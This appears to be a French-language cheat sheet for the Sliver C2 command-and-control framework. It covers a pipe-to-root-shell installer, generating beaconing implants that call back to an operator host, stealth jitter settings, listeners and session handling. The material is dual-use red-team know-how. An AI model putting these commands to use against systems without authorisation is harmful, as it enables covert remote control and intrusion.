[Réseau] Sliver C2
Introduction
Sliver C2 est un framework de commande et contrôle qui ressemble un peu à Metasploit.
Il présente des fonctionnalités interéssantes d'obfuscation et des modules permettant de faire de la post-exploitation.
Fonctionnant en mode client-serveur, vous pouvez démarrer un serveur sur un VPS accessible depuis Internet et utiliser le client pour vous connecter sur votre compte d'opérateur, ce qui permet de travailler en équipe.
Vous pouvez aussi travailler directement sur le serveur si vous le souhaitez, ce qui est l'option la plus simple selon moi.
Source
Installation
Linux
Vous pouvez installer Sliver simplement avec la commande suivante pour la plupart des distributions Linux :
curl https://sliver.sh/install | sudo bash
Compiler depuis les sources
Cependant, vous aurez peut-être besoin de compiler vous même, notamment si vous travailler dans des environnement spécifiques tels que Exegol :
git clone https://github.com/BishopFox/sliver.git && cd sliver && git checkout tags/v1.5.39 && make
Implants
Il existe deux types d'implant (Agent C2) dans Sliver :
- Les sessions (utilisent une connexion réseau permanente ce qui permet d'exécuter des commandes et de recevoir le résultat immédiatement). Ils sont très pratiques mais suspects.
- Les beacons (utilisent une connexion réseau temporaire qui est réinitialiser par interval). Les commandes ne sont pas exécutées immédiatement mais ce type de connexion permet d'être assez discret.
Générer un implant de session mtls
generate --mtls <LHOST>:<LPORT> --save <FILE_NAME>.exe
Générer un payloadimplant de session wireguard
generate -g <LHOST>:<LPORT> --save <FILE_NAME>.exe
Générer un implant de beacon mtls
generate beacon --mtls <LHOST>:<LPORT> --save <FILE_NAME>.exe --seconds <TIME> --jitter <TIME>
Après le flag --seconds vous devez indiquer le délai entre chaque reconnexion.
Après le flag --jitter vous devez renseigner un délai de temps aléatoire. Par exemple, si le flag --seconds est définit à 3 et que le flag --jitter est définit à 1, une reconnexion sera effectuée de manière aléatoire toutes les 3 ou 4 secondes.
Convertir un beacon en session
interactive
Listeners
Lancer un listener mtls
mtls -l <LPORT>
Le port par défaut de mtls est le 443.
Lancer un listener wireguard
wg -l <LPORT>
Le port par défaut de wireguard est le 51820.
Afficher les sessions actives
sessions
Terminer une session
sessions -k <ID>
Afficher les beacons actifs
beacons